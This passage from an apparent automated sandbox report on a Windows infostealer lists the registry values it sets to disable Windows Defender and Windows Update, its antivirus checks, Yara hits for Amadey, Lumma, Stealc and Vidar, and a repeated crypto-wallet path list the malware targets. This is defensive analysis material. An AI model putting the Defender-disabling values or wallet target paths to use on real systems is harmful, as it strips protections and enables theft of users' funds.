Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CCCA8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_00892517 GetTimeZoneInformation,

25_2_00892517

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC18390 NSS_GetVersion,

0_2_6CC18390

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C25000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000C25000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2635647323.0000000000E99000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.skotes.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.DocumentsEGHJKFHJJJ.exe.f90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2683778319.0000000000851000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2078054649.0000000000F91000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2132538319.0000000000851000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 5528, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 37.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8407c5d8e2.exe.5c0eab1.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.8407c5d8e2.exe.62e0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.ef7349e1dc.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2027401280.000000000198E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2363926380.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2650777132.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2608697053.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1422553388.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2025550529.0000000000C71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2438045776.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2567939622.00000000062E1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2321135289.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2495407278.0000000008880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2479376498.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2361785150.0000000000D71000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 7172, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 